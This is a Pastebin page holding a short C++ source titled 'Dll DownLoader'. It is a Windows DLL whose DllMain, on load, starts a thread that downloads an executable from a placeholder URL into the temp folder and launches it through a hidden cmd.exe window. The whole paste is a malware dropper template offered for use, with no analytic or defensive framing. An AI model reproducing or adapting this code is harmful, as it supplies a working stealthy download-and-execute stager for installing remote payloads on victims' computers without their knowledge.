CorrM

CorrM - Dll DownLoader

Feb 12th, 2015
605
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.85 KB | None | 0 0
  1. #pragma comment(lib, "UrlMon.lib")
  2.  
  3. #include <stdio.h>
  4. #include "stdafx.h"
  5. #include <Shellapi.h>
  6. #include <Windows.h>
  7. #include <iostream>
  8. #include <UrlMon.h>
  9. #include <cstdlib>
  10. #include <TCHAR.H>
  11. #include "Shlwapi.h"
  12. using namespace std;
  13.  
  14.  
  15. TCHAR lpTempPathBuffer[MAX_PATH];
  16.  
  17. void DownFile(void)
  18. {
  19.     GetTempPath(MAX_PATH, lpTempPathBuffer);
  20.     _tcscat_s(lpTempPathBuffer, MAX_PATH, L"\\ServerName.exe");
  21.     HRESULT UD = URLDownloadToFile(0, L"Server Direct Link", lpTempPathBuffer, 0, 0);
  22.     ShellExecute(0, 0, L"C:\\Windows\\system32\\cmd.exe", L"/k start %TEMP%\\ServerName.exe & exit", NULL, SW_HIDE);
  23. }
  24.  
  25.  
  26. BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
  27. {
  28.     switch (ul_reason_for_call)
  29.     {
  30.     case DLL_PROCESS_ATTACH:
  31.         CreateThread(0, 0,(LPTHREAD_START_ROUTINE)DownFile, 0, 0, 0);
  32.         break;
  33.     }
  34.     return TRUE;
  35. }
Add Comment
Please, Sign In to add comment